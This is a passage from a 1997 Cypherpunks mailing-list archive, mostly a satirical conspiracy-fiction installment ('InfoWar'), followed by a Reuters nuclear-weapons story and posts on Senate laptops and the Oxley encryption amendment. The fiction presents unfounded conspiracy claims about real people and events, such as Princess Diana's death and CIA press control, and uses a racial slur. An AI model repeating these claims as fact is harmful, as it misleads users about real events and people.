that the roots of the Great Conspiracy had spread throughout the
very fabric of reality, itself.

He now knew that the conspiracy was no longer just some outside
entity which lived in the shadows around him, waiting for him
to let down his guard before it sprang its waiting traps and enclosed
him with its vicious iron jaws.
He now knew that it went much, much deeper than that.

Now, he knew the conspiracy was in his Mind!


A Player To Be Named Later had immediately dropped all of his
other InterNet personas and erased all signs of them from his
hard drive. With the new knowledge he had gained, he knew that
he could no longer trust even himself.

The first sign that the conspiracy had managed to spread throughout
both reality and virtual reality were the posts to the CypherPunks
mailing list by Damaged Justice.

Subject: Internet putting truth in danger
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>

Organization: Somewhere just far enough outside of your
jurisdiction
To: cypherpunks@Algebra.COM

   THE generation that has grown up on The X-Files poses a threat
to the
   future of journalism, Fergal Keane, the BBC's Asia Correspondent,
said
   last night.

Subject: Assassination Politics of a sort

   There's a bounty on Gordie Howe's head. And Gordie isn't laughing
about it.
   Howe, 69, is planning to file a police complaint against a
California radio 
   personality who offered a bounty to have "the old fool
pummeled back to reality."

Subject: FBI vs Silicon Valley: Guess Who's Winning?
    The likely outcome: a tactical retreat by industry to avoid
an all-out rout. 
    The electronic wizards seem to have met their match in a Washington
cop
     named Louis Freeh.

Subject: Trac[k]ing the Successful Drug User

   By deploying their questionnaire on the Web, the researchers
are
   hoping to use the relative anonymity of the Net to access a
"hidden
   population" of drug users who would be disinclined to
give accurate
   reports of illegal use to face-to-face interviewers, Nicholson
says.

In a short series of posts, Damaged Justice had managed to subtly
point out that:
  The InterNet, in the hands of the public, was a threat to truth.

  Assassination Politics would lead to the death of heroes such
as Gordie Howe.
  Louis Freeh is going to kick the electronic wizards' butts.

  Successful people on the InterNet are all secret drug users.


A Player To Be Named Later had seen the duplicity in Damaged Justice's
posts long before this, just as he had in the posts of Se7en.

Se7en purported to be a diabolical hacker turned lecturer, working
the security and LEA (law enforcement agency) circuit, but it
had become obvious that it was they who were working him. Se7en
had got caught up in the LEA's child pornography ruse and wrote
a lengthy diatribe to the CypherPunks list about the millions
of pedophiles lurking in the shadows of the InterNet. This came
at a time which was convenient for adding support to the agendas
of several of the government shills working the list at that time.

A Player To Be Named Later had followed the trail of alleged pointers
and addresses that were provided by Se7en, only to find the usual
spooks lurking in the background. It was obvious that the spooks
were doing their best to cultivate a crop of genuine pedophiles
by seeding the InterNet with pointers to trails of perversion
that they had carefully laid out themselves. No doubt they would
keep their self-generated perverts on ice until it came time to
drag them out into the public eye for one of their show-and-tell
displays of the 'good fight' they were putting up against the
evil InterNet.

A Player To Be Named Later hadn't run his usual analysis on the
past posts and email traffic of Damaged Justice and those connected
to him, but he was not sure that it really mattered anymore, anyway.

There were indications that FUD/DoubleSpeak/SpinDoctoring/VirtualTruth-whatever
you wanted to name it-had reached critical mass.

He took another look at one of Choate's posts to the CypherPunks
list:
Subject: 6 USAF Crashes in 7 days = InfoWar?
From:  Jim Choate <ravage@ssz.com>
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)

Just a thought...

The connection was obvious.
A number of stories made it into the periphery of the mainstream
press concerning the U.S. spooks campaign to murder 'bad' foreigners
by introducing defective parts into the products they bought for
their armed forces. Then the U.S. forces immediately got hit with
a rash of high-profile 'accidents' to their own military units.

It was a clear message to the U.S. spooks that two (or more) could
play that game. So clear, in fact, that the Pentagon publicly
and privately pulled in the reins on a variety of normal and special
operations, in order to shake the trees for defective parts and
defective soldiers. (Mostly the latter.)

The Real Guy had planned an expose on the background events taking
place in this area, but had decided not to do so, uncertain as
to why he had made that decision, at the time.
Now, A Player To Be Named Later realized that it was because FUD
(Fear, Uncertainty & Disinformation) had become the rule of
the day, and there was no longer anyone left to preach to but
the converted-and the converted were becoming unconverted at an
increasingly rapid rate.

It had become obvious, I suppose, when it took so little effort
on the Pentagon's part to cover up the pair of rogue U.S. Air
Force pilots who had been positively linked to the Circle of Eunuchs
by the secret task force dedicated to rooting them out of their
hiding places deep within the bowels of government and corporate
agencies around the world.

It was not surprising that they had managed to cover up the involvement
of the nuclear bomber pilot, since they were able to label her
a sex criminal before she had taken any overt action that would
serve to trigger the interest of those paying close attention
to such things. 
It was her proximity to the Author's current location that had
led to her discovery. The retired Air Force intelligence officer
who had been assigned to shadow the Author in Do Well, Saskatchewan,
had alerted Canadian Customs to notify him any time that soldiers
from Minot Air Force Base crossed into his territory. Although
she never made physical contact with the Author, her mere presence
in close proximity to him led to an in-depth investigation that
turned up enough 'coincidences' to require her removal from service.

What was very troubling, however, was the fact that another of
the Author's contacts, from the Air Force base at his old stomping
grounds in Tucson, had been able to break formation on a training
run, fly halfway across the country with live bombs, almost making
it to the site of the McVeigh trial in Denver, and yet it hardly
rated a "Gee, I wonder why he did that?" in the mainstream
press.
Tentative suggestions that the pilot was 'emotionally troubled'
were eaten up by the press, despite evidence to the contrary from
his friends and relatives, so readily that the Air Force never
even had to release the 'psychiatrist reports' that had been hastily
prepared to be 'leaked' to the right sources, if needed.

A Player To Be Named Later wondered if all reporters for the mainstream
press were not, in fact, still incarcerated in the press compounds
set up for Operation Desert Storm. Were the 'backgrounds' they
appeared to be reporting from in reality just virtual creations
from inside their media prison?

A pilot carrying live bombs makes a beeline for the site of the
Oklahoma Bomber's trial; a truck full nuclear warheads goes missing;
soldiers on a base are the target of an armed assault; the pilot
of a nuclear bomber is shanghaied on curiously slim pretexts;
a horde of major armed forces figures suddenly resign or are shifted
to non-sensitive positions-and the world hardly seems to notice.

When a single former Russian General, however, with close connections
to the spooks, writes a no-brainer book with unsupported claims
about nuclear suitcases falling into the hands of the US's proclaimed
'enemies,' then the mainstream press snaps to attention and gives
full coverage to the dark threat posed by theoretical, unseen,
dark-skinned people who we will need to be protected from, in
the future.

"Gee, I wonder why he would do that?" A Player
To Be Named Later said, sarcastically, while visualizing a dark-skinned
person in a foreign country purchasing a nuclear suitcase from
CIA-run Russian spooks.
"I suppose that if there was hard, non-refutable evidence
of an Air Force soldier purchasing a nuclear suitcase and going
AWOL, headed for Washington, DC, that this would be the reaction
of the mainstream press. But let a foreign 'darkie' try it, and
all of a sudden we need to suspend some more basic human rights,
even if it was a BATF shill who was being run by a CIA connected,
former German intelligence operative who is related to a high-ranking
German politician who was involved in the Iran-Contra drugs-for-arms
scandal."

A Player To Be Named Later reached for a bottle of Scotch sitting
behind his laptop, taking a slow pull off of it as he reviewed
the signs of the death of investigative journalism in the past
few years.
The CIA had used Woodward and Bernstein effectively during their
assault on the Presidency at the close of the Nixon scandal. The
problem was that it inspired a plethora of uncontrollable impersonators
who wreaked havoc with their efforts at FUD control. So  they
orchestrated the movement of investigative journalism into the
mundane mainstream of everyday life.
The sheeple didn't care about world politics and behind the scenes
power struggles. Their real interests lie in secret videos of
an employee dipping his dick in a coworker's coffee; a mechanic
putting the old distributor cap back on and charging the customer
for a new one; a black mayor snorting coke and getting a little
trim from the ladies of the night.
All of this became breaking news which required the full force
of the media digging into the dark corners of these people's lives.
Until the world's nasty little secrets became just another everyday,
run of the mill part of normal life.

Now, Media Reality had finally approached critical mass, as foreseen
by a variety of voices crying in the wilderness, from George Orwell
to Marshal McLuhan.
Now, it was only a matter of time.

A Player To Be Named Later read the "Internet putting truth
in danger" post by Damaged Justice, once again:
   Mr Keane, delivering the Huw Weldon Memorial Lecture at
a television
   convention, said that he was worried about the growing influence
of
   the Internet, and the conspiracy theories that are aired on
it.

God help us if things deteriorated to the point where ordinary
people put the mainstream media 'truth' in danger by pointing
out the obvious to people who didn't really want
to know why a U.S. Air Force pilot would head for the site of
McVeigh's trial with a load of live bombs.
Maybe he just got lost...

   He told the Royal Television Society's Cambridge Convention
that the
   rash of rumours about the circumstances of the death of Diana,

   Princess of Wales showed that there was a public appetite for

   speculation and fantasy. He said: "Will the generation
growing up on
   The X-Files really want to choose calm, considered reportage
when they
   have science-fiction and fantasy?"

"Calm, considered reportage." A Player To Be
Named Later intoned, solemnly, thinking about the first interview
he had seen by the major media with someone who had been close
to the Princess's fatal accident.
"Explosion." That was the first, and only, time
he had heard that word used by someone who had been present at
the time of the accident. By the time the rest of North America
had awoken that morning, there were only reporters feeding the
world the disinformation being officially released by the authorities.
And in a world where reporters will dig up a dead body to do DNA
tests to see if the deceased was, indeed, fucking Tom Cruise,
the major networks somehow managed to 'lose' the footage of interviews
with the original witnesses, offering, instead, interviews with
people who thought that maybe something was perhaps taking place
down there in the tunnel, but who really knows? 
We were told that there were no witnesses to the accident, yet
we were still fed unlikely reports of a motorcycle with photographers
on it zigzagging in front of the death vehicle at over a hundred
miles an hour, and sundry other inanities reeking of  'now you
see it, now you don't' spin doctoring.    

   He said that the trend threatened to plunge reporting into
the
   "rumour-ridden gloom of the Middle Ages".

God forbid that unseemly rumors might spread concerning a man
heading a covert organization involved in running illegal drugs
and arms ascending to the Presidency after succeeding the front-man
who had come to power as a result of those illegal actions, and
who had invaded a foreign country to capture the drug-dealing
monster who had been his closest bum-buddy during his spook days.

God forbid that Joe Average should be exposed to the knowledge
that a succession of their Presidents were backed by the big bucks
made by their friends and relatives in business with the Nazis
right up to the end of World War II.

Knowledge such as this was dangerous knowledge that would
put the spoon-fed "truth" of the mainstream media "in
danger" if the InterNet was allowed to become a purveyor
of 'unofficial' or 'non-approved' news.

A Player To Be Named Later thought of the three days of intensive
press coverage in which a multitude of mainstream media personnel
spent hour upon hour adding fuel to 'official leak' inspired rumors
while not seeming to be able to get any information at all on
the players who were part and parcel of the media's daily business
activities.
He had been waiting to see the pictures of the concrete column
that the heavily armored death vehicle had supposedly hit at over
a hundred miles per hour. Nothing.

{In Toledo, or Detroit, or some other 'cable channel' city,
a day or so later, some no-name John Doe was killed after his
vehicle struck a concrete column on a local road structure. There
were reporters from a number of media sources there, getting close-ups
of the vehicle, the column, and the damage to it, the broken scraps
of concrete at the accident scene. A Player To Be Named Later
saw it two or three times that day, as the media ensured that
all the circumstances surrounding the death of John Doe would
be subjected to the light of mainstream media 'truth.' He saw
pictures from a variety of different angles, obviously taken in
the interest of satisfying his 'right to know' all of the details
surrounding the death of John Doe, Anywhere, USA.}


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Tue, 23 Sep 1997 13:05:20 +0800
To: cypherpunks@toad.com
Subject: InfoWar 19 / GeigerBurg III Text
Message-ID: <34274861.7549@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



B
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Extra! : News From the Front

----------------------------------------------------------------------------

                        Extra! : News From the Front
----------------------------------------------------------------------------

[News Flash! From: http://www.turnleft.com "The Home of Liberalism on the
Web"]

What They Don't Want You to Know
by Auto-Correspondent "http://www.cjnetworks.com/~cubsfan/conspiracy.html"

In order to understand InfoWar you need to realize that everything is
controlled by a CypherPunks list made up of Cult of One members
with help from Nobody and Anonymous.

The conspiracy first started during the Censorship Experiment in
majordomo@toad.com. They have been responsible for many
events throughout history, including the InfoWar.

Today, members of the conspiracy are everywhere. They can be
identified by their Code writing.

They want to electronically forge TruthMonger posts and imprison
resisters in Silicon Valley using Trei Transponders.

In order to prepare for this, we all must Nuke DC. Since the media
is controlled by Declan McCullagh we should get our information
from Black Unicorn's yellow-menace writing in blanc snow..
----------------------------------------------------------------------------

Just as he had suspected!

A Player To Be Named Later read the output of the Java script at Left Turn's
'Make Your Own Conspiracy Theory' page.
Left Turn had confirmed everything he had been discovering on his own, even
when he had discovered facts and information which pointed toward completely
contradictory conspiracy theories. A Player To Be Named Later recognized
that this was positive proof that the roots of the Great Conspiracy had
spread throughout the very fabric of reality, itself.

He now knew that the conspiracy was no longer just some outside entity which
lived in the shadows around him, waiting for him to let down his guard
before it sprang its waiting traps and enclosed him with its vicious iron
jaws.
He now knew that it went much, much deeper than that.

Now, he knew the conspiracy was in his Mind!

A Player To Be Named Later had immediately dropped all of his other InterNet
personas and erased all signs of them from his hard drive. With the new
knowledge he had gained, he knew that he could no longer trust even himself.

The first sign that the conspiracy had managed to spread throughout both
reality and virtual reality were the posts to the CypherPunks mailing list
by Damaged Justice.

Subject: Internet putting truth in danger
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Organization: Somewhere just far enough outside of your jurisdiction
To: cypherpunks@Algebra.COM

THE generation that has grown up on The X-Files poses a threat to the
future of journalism, Fergal Keane, the BBC's Asia Correspondent, said
last night.

Subject: Assassination Politics of a sort

There's a bounty on Gordie Howe's head. And Gordie isn't laughing about it.
Howe, 69, is planning to file a police complaint against a California radio
personality who offered a bounty to have "the old fool pummeled back to
reality."

Subject: FBI vs Silicon Valley: Guess Who's Winning?
The likely outcome: a tactical retreat by industry to avoid an all-out rout.

The electronic wizards seem to have met their match in a Washington cop
named Louis Freeh.

Subject: Trac[k]ing the Successful Drug User

By deploying their questionnaire on the Web, the researchers are
hoping to use the relative anonymity of the Net to access a "hidden
population" of drug users who would be disinclined to give accurate
reports of illegal use to face-to-face interviewers, Nicholson says.

In a short series of posts, Damaged Justice had managed to subtly point out
that:
The InterNet, in the hands of the public, was a threat to truth.
Assassination Politics would lead to the death of heroes such as Gordie
Howe.
Louis Freeh is going to kick the electronic wizards' butts.
Successful people on the InterNet are all secret drug users.

A Player To Be Named Later had seen the duplicity in Damaged Justice's posts
long before this, just as he had in the posts of Se7en.
Se7en purported to be a diabolical hacker turned lecturer, working the
security and LEA (law enforcement agency) circuit, but it had become obvious
that it was they who were working him. Se7en had got caught up in the LEA's
child pornography ruse and wrote a lengthy diatribe to the CypherPunks list
about the millions of pedophiles lurking in the shadows of the InterNet.
This came at a time which was convenient for adding support to the agendas
of several of the government shills working the list at that time.
A Player To Be Named Later had followed the trail of alleged pointers and
addresses that were provided by Se7en, only to find the usual spooks lurking
in the background. It was obvious that the spooks were doing their best to
cultivate a crop of genuine pedophiles by seeding the InterNet with pointers
to trails of perversion that they had carefully laid out themselves. No
doubt they would keep their self-generated perverts on ice until it came
time to drag them out into the public eye for one of their show-and-tell
displays of the 'good fight' they were putting up against the evil InterNet.

A Player To Be Named Later hadn't run his usual analysis on the past posts
and email traffic of Damaged Justice and those connected to him, but he was
not sure that it really mattered anymore, anyway.
There were indications that
FUD/DoubleSpeak/SpinDoctoring/VirtualTruth-whatever you wanted to name
it-had reached critical mass.

He took another look at one of Choate's posts to the CypherPunks list:
Subject: 6 USAF Crashes in 7 days = InfoWar?
From: Jim Choate <ravage@ssz.com>
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)

Just a thought...

The connection was obvious.
A number of stories made it into the periphery of the mainstream press
concerning the U.S. spooks campaign to murder 'bad' foreigners by
introducing defective parts into the products they bought for their armed
forces. Then the U.S. forces immediately got hit with a rash of high-profile
'accidents' to their own military units.
It was a clear message to the U.S. spooks that two (or more) could play that
game. So clear, in fact, that the Pentagon publicly and privately pulled in
the reins on a variety of normal and special operations, in order to shake
the trees for defective parts and defective soldiers. (Mostly the latter.)

The Real Guy had planned an expose on the background events taking place in
this area, but had decided not to do so, uncertain as to why he had made
that decision, at the time.
Now, A Player To Be Named Later realized that it was because FUD (Fear,
Uncertainty & Disinformation) had become the rule of the day, and there was
no longer anyone left to preach to but the converted-and the converted were
becoming unconverted at an increasingly rapid rate.

It had become obvious, I suppose, when it took so little effort on the
Pentagon's part to cover up the pair of rogue U.S. Air Force pilots who had
been positively linked to the Circle of Eunuchs by the secret task force
dedicated to rooting them out of their hiding places deep within the bowels
of government and corporate agencies around the world.

It was not surprising that they had managed to cover up the involvement of
the nuclear bomber pilot, since they were able to label her a sex criminal
before she had taken any overt action that would serve to trigger the
interest of those paying close attention to such things.
It was her proximity to the Author's current location that had led to her
discovery. The retired Air Force intelligence officer who had been assigned
to shadow the Author in Do Well, Saskatchewan, had alerted Canadian Customs
to notify him any time that soldiers from Minot Air Force Base crossed into
his territory. Although she never made physical contact with the Author, her
mere presence in close proximity to him led to an in-depth investigation
that turned up enough 'coincidences' to require her removal from service.

What was very troubling, however, was the fact that another of the Author's
contacts, from the Air Force base at his old stomping grounds in Tucson, had
been able to break formation on a training run, fly halfway across the
country with live bombs, almost making it to the site of the McVeigh trial
in Denver, and yet it hardly rated a "Gee, I wonder why he did that?" in the
mainstream press.
Tentative suggestions that the pilot was 'emotionally troubled' were eaten
up by the press, despite evidence to the contrary from his friends and
relatives, so readily that the Air Force never even had to release the
'psychiatrist reports' that had been hastily prepared to be 'leaked' to the
right sources, if needed.

A Player To Be Named Later wondered if all reporters for the mainstream
press were not, in fact, still incarcerated in the press compounds set up
for Operation Desert Storm. Were the 'backgrounds' they appeared to be
reporting from in reality just virtual creations from inside their media
prison?

A pilot carrying live bombs makes a beeline for the site of the Oklahoma
Bomber's trial; a truck full nuclear warheads goes missing; soldiers on a
base are the target of an armed assault; the pilot of a nuclear bomber is
shanghaied on curiously slim pretexts; a horde of major armed forces figures
suddenly resign or are shifted to non-sensitive positions-and the world
hardly seems to notice.
When a single former Russian General, however, with close connections to the
spooks, writes a no-brainer book with unsupported claims about nuclear
suitcases falling into the hands of the US's proclaimed 'enemies,' then the
mainstream press snaps to attention and gives full coverage to the dark
threat posed by theoretical, unseen, dark-skinned people who we will need to
be protected from, in the future.

"Gee, I wonder why he would do that?" A Player To Be Named Later said,
sarcastically, while visualizing a dark-skinned person in a foreign country
purchasing a nuclear suitcase from CIA-run Russian spooks.
"I suppose that if there was hard, non-refutable evidence of an Air Force
soldier purchasing a nuclear suitcase and going AWOL, headed for Washington,
DC, that this would be the reaction of the mainstream press. But let a
foreign 'darkie' try it, and all of a sudden we need to suspend some more
basic human rights, even if it was a BATF shill who was being run by a CIA
connected, former German intelligence operative who is related to a
high-ranking German politician who was involved in the Iran-Contra
drugs-for-arms scandal."

A Player To Be Named Later reached for a bottle of Scotch sitting behind his
laptop, taking a slow pull off of it as he reviewed the signs of the death
of investigative journalism in the past few years.
The CIA had used Woodward and Bernstein effectively during their assault on
the Presidency at the close of the Nixon scandal. The problem was that it
inspired a plethora of uncontrollable impersonators who wreaked havoc with
their efforts at FUD control. So they orchestrated the movement of
investigative journalism into the mundane mainstream of everyday life.
The sheeple didn't care about world politics and behind the scenes power
struggles. Their real interests lie in secret videos of an employee dipping
his dick in a coworker's coffee; a mechanic putting the old distributor cap
back on and charging the customer for a new one; a black mayor snorting coke
and getting a little trim from the ladies of the night.
All of this became breaking news which required the full force of the media
digging into the dark corners of these people's lives. Until the world's
nasty little secrets became just another everyday, run of the mill part of
normal life.

Now, Media Reality had finally approached critical mass, as foreseen by a
variety of voices crying in the wilderness, from George Orwell to Marshal
McLuhan.
Now, it was only a matter of time.

A Player To Be Named Later read the "Internet putting truth in danger" post
by Damaged Justice, once again:
Mr Keane, delivering the Huw Weldon Memorial Lecture at a television
convention, said that he was worried about the growing influence of
the Internet, and the conspiracy theories that are aired on it.

God help us if things deteriorated to the point where ordinary people put
the mainstream media 'truth' in danger by pointing out the obvious to people
who didn't really want to know why a U.S. Air Force pilot would head for the
site of McVeigh's trial with a load of live bombs.
Maybe he just got lost...

He told the Royal Television Society's Cambridge Convention that the
rash of rumours about the circumstances of the death of Diana,
Princess of Wales showed that there was a public appetite for
speculation and fantasy. He said: "Will the generation growing up on
The X-Files really want to choose calm, considered reportage when they
have science-fiction and fantasy?"

"Calm, considered reportage." A Player To Be Named Later intoned, solemnly,
thinking about the first interview he had seen by the major media with
someone who had been close to the Princess's fatal accident.
"Explosion." That was the first, and only, time he had heard that word used
by someone who had been present at the time of the accident. By the time the
rest of North America had awoken that morning, there were only reporters
feeding the world the disinformation being officially released by the
authorities. And in a world where reporters will dig up a dead body to do
DNA tests to see if the deceased was, indeed, fucking Tom Cruise, the major
networks somehow managed to 'lose' the footage of interviews with the
original witnesses, offering, instead, interviews with people who thought
that maybe something was perhaps taking place down there in the tunnel, but
who really knows?
We were told that there were no witnesses to the accident, yet we were still
fed unlikely reports of a motorcycle with photographers on it zigzagging in
front of the death vehicle at over a hundred miles an hour, and sundry other
inanities reeking of 'now you see it, now you don't' spin doctoring.

He said that the trend threatened to plunge reporting into the
"rumour-ridden gloom of the Middle Ages".

God forbid that unseemly rumors might spread concerning a man heading a
covert organization involved in running illegal drugs and arms ascending to
the Presidency after succeeding the front-man who had come to power as a
result of those illegal actions, and who had invaded a foreign country to
capture the drug-dealing monster who had been his closest bum-buddy during
his spook days.
God forbid that Joe Average should be exposed to the knowledge that a
succession of their Presidents were backed by the big bucks made by their
friends and relatives in business with the Nazis right up to the end of
World War II.

Knowledge such as this was dangerous knowledge that would put the spoon-fed
"truth" of the mainstream media "in danger" if the InterNet was allowed to
become a purveyor of 'unofficial' or 'non-approved' news.

A Player To Be Named Later thought of the three days of intensive press
coverage in which a multitude of mainstream media personnel spent hour upon
hour adding fuel to 'official leak' inspired rumors while not seeming to be
able to get any information at all on the players who were part and parcel
of the media's daily business activities.
He had been waiting to see the pictures of the concrete column that the
heavily armored death vehicle had supposedly hit at over a hundred miles per
hour. Nothing.

{In Toledo, or Detroit, or some other 'cable channel' city, a day or so
later, some no-name John Doe was killed after his vehicle struck a concrete
column on a local road structure. There were reporters from a number of
media sources there, getting close-ups of the vehicle, the column, and the
damage to it, the broken scraps of concrete at the accident scene. A Player
To Be Named Later saw it two or three times that day, as the media ensured
that all the circumstances surrounding the death of John Doe would be
subjected to the light of mainstream media 'truth.' He saw pictures from a
variety of different angles, obviously taken in the interest of satisfying
his 'right to know' all of the details surrounding the death of John Doe,
Anywhere, USA.}
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: maria@linux.nycmetro.com
Date: Tue, 23 Sep 1997 11:04:25 +0800
To: cypherpunks@toad.com
Subject: nuclear_2.html
Message-ID: <199709230254.WAA24733@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Mir Computer Working; Gore Cautious on Future
   Next Story: AIDS Doctors Volunteer to Test Vaccine
     _________________________________________________________________
   
   Monday September 22 3:54 PM EDT 
   
Russia May Have 'Lost' Nuclear Bombs

   By Andrei Khalip
   
   MOSCOW (Reuter) - President Boris Yeltsin's former environmental
   safety adviser said in remarks published on Monday that some of
   Russia's portable nuclear bombs might indeed be missing, as asserted
   by another former Yeltsin aide.
   
   "The statement by Alexander Lebed concerning suitcases with nuclear
   bombs is definitely not groundless," academician Alexei Yablokov wrote
   in a letter to Novaya Gazeta weekly.
   
   The letter was written on September 9, days after Lebed, former
   presidential security adviser, told the CBS News "60 Minutes"
   programme that the Russian military had lost track of some of its
   nuclear weapons.
   
   He mentioned more than 100 suitcase-sized nuclear bombs, any one of
   which could kill up to 100,000 people.
   
   Defence Minister Igor Sergeyev insisted on Monday that Russia's
   nuclear arsenal was under firm control.
   
   "There are no concerns over this issue," Interfax news agency quoted
   him as saying. "The nuclear weapons are under permanent control." The
   minister appeared to be making a general remark and did not mention
   Yablokov or Lebed.
   
   Nuclear experts with international think-tanks have said in the past
   that Russia has strict control over its military nuclear sites and
   that they viewed nuclear bomb and missile theft as extremely unlikely.
   
   But they said there had been cases of theft of nuclear materials from
   power plants and scientific laboratories.
   
   Yablokov said the military might simply have no record of some of the
   portable nuclear bombs, which he said were made in the 1970s for the
   Soviet KGB for "terrorist purposes."
   
   "These nuclear charges were not registered by the Defence Ministry and
   as a result could have been dropped from the list of nuclear devices
   under international disarmament negotiations," Yablokov said.
   
   Yablokov, an outspoken advocate of environmental protection, also did
   not exclude that Russia carried out a nuclear test at its Arctic
   island of Novaya Zemlya last month.
   
   The United States said then it had detected a seismic event "with
   explosive characteristics" near the Novaya Zemlya test site, but
   Russian officials flatly denied any nuclear tests.
   
   They said Russia had voluntarily given up testing in 1992 and was
   sticking to this position.
   
   Yablokov's charges come at an embarrassing time for Russian officials,
   who are hosting U.S. Energy Secretary Federico Pena and Vice President
   Al Gore for wide-ranging talks due to include nuclear safety issues.
   
   Washington has more than once expressed concern over nuclear safety in
   Russia and what it called a possible transfer of Russian nuclear
   technologies to other countries, primarily Iran, which it views as a
   sponsor of international terrorism.
   
   Moscow says it is adhering strictly to its international nuclear
   non-proliferation obligations.
   
   Yablokov was sacked from Yeltsin's administration earlier this year.
   He had been in charge of environmental issues at top bodies of the
   former Soviet Union and Russia since 1989. He was chairman of
   Greenpeace-Soviet Union before 1990.
     _________________________________________________________________
                                      
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     _________________________________________________________________
   
   Previous Story: Mir Computer Working; Gore Cautious on Future
   Next Story: AIDS Doctors Volunteer to Test Vaccine
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                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Tue, 23 Sep 1997 13:23:26 +0800
To: "Lucky Green" <shamrock@netcom.com>
Subject: Re: US Senate bans laptops
Message-ID: <199709230503.AAA06154@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



> From: Lucky Green <shamrock@netcom.com>
> To: Cypherpunks Lite <cp-lite@comsec.com>
> Subject: US Senate bans laptops
> Date: Sunday, September 21, 1997 10:37 AM

> These people banning laptops amongst their peers are the same people who
> will decide on the future use of crypto by the masses.

This is really encouraging news!  Computers would likely lead to increased 
efficiency in Congress, and *that* isn't in the interests of any of us. 
These folks 
are in the business of taking peoples' life, liberty and property, for fun,
profit, and ideology. Just about anything that slows them down, including
their own mind-numbing stupidity, is a good thing.

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 23 Sep 1997 13:18:05 +0800
To: cypherpunks@toad.com
Subject: Coalition letter opposing Oxley amendment -- from Apple to USWest
Message-ID: <v03007802b04cee228c9c@[204.254.22.189]>
MIME-Version: 1.0
Content-Type: text/plain



This is an encouraging letter, especially given the number and breadth of
firms that signed on. But this section strikes me as telling:

>We urge the Committee to reject the Oxley-Manton amendment and any other
>form of domestic encryption control.

Then the committee should reject even the "original" draft of SAFE, which
has the first-ever domestic encryption control: penalties for the use of
crypto in a crime. When crypto is widespread, //any// "crime" (like posting
"indecent" materials?) will involve crypto. Domestic controls on encryption
are not a reasonable tradeoff for lifting export controls. Don't sell out
my rights to make a quick buck.

(Then of course there's White's "compromise" language floating around that
would double these criminal penalties. And Oxley -- in an effort to split
the coalition -- is circulating draft language that might exempt some forms
of mundane crypto-devices from his crypto-ban. Who knows? Maybe some
Congressmen would vote for Oxley II in hopes of staving off Oxley I. But
all these "compromises" are dangerous.)

Advice to undersigned firms: Tell your lobbyists to block //all//
encryption legislation that might come out of Congress. Then fire them.
Spend the millions of dollars on R&D. Get crypto in the hands of the
grandmothers of America. Or if you're not going to fire your lobbyists, at
least order them not to try and push a bill through. I know it's difficult;
that's all they know how to do. But, you see, not only is such a plan
doomed to fail, it likely will backfire and threaten all of our freedoms in
the process.

-Declan

======================

September 22, 1997

The Hon. Thomas J. Bliley, Jr.
Chairman
House Commerce Committee
2125 Rayburn House Office Building
Washington, D.C.  20515

Dear Chairman Bliley:

We are writing to express our strong opposition to the Oxley-Manton
amendment to HR 695, the Security and Freedom through Encryption Act
(SAFE), which the Commerce Committee will consider this week, and to any
form of government domestic controls on encryption.

The Oxley-Manton amendment would impose unprecedented restrictions on the
domestic manufacture and availability of encryption, thus potentially
compromising the security of the nation's telephone system and the Internet
alike.  The amendment would:

* prohibit the domestic manufacture, sale and importation of any encryption
  product or service unless the government is given immediate access to the
  plaintext of communications and stored files without the knowledge of the
  user;

* prohibit network service providers, including telephone companies and
  Internet service providers, from offering encryption products or services
  unless communications can be immediately read without the knowledge of the
  user; and

* give the Attorney General unprecedented, broad new powers to establish
  standards for encryption products and services.

Encryption technologies are the vital tools consumers and businesses need
to operate with security and privacy in the information age, and are a
cornerstone of electronic commerce.  Government domestic controls on
encryption are incompatible with the consumer, corporate, and national
security benefits of the national information infrastructure.  Numerous
communications products and services are now under development that
incorporate encryption as an essential feature.   Oxley-Manton will stifle
these new products and services, end the deployment of market-driven key
recovery systems,  and undermine the potential of the new communications
media for electronic commerce and the promotion of democratic values.

* Strong encryption will not only ensure privacy but also help prevent crime
  on the network.  However, by mandating trap doors in all domestic encryption
  products and communications networks, the Oxley-Manton amendment will make
  the personal records and communications of individuals and businesses more
  vulnerable to hackers, terrorists, industrial spies and other criminals.  Put
  at risk will be medical records, tax returns, private email, business
  proprietary information and transactions, attorney-client communications,
  and cellular phone conversations.

* Oxley-Manton's broad requirement for "immediate access" to decryption keys
  without knowledge of the user would force Americans to forfeit their
  constitutional right of privacy as a condition of participating in the
  information age.

* Oxley-Manton invites disastrous industrial policy.  It is industrial policy
  with criminal sanctions attached.  The amendment authorizes the Attorney
  General to promulgate technical requirements for all encryption products
  and gives the Department of Justice prior approval authority over all
  encryption systems for computers and telecommunications.  This will stifle
  innovation. It will drive encryption expertise out of this country.  The
  market should be allowed to develop its own solutions, many of which in fact
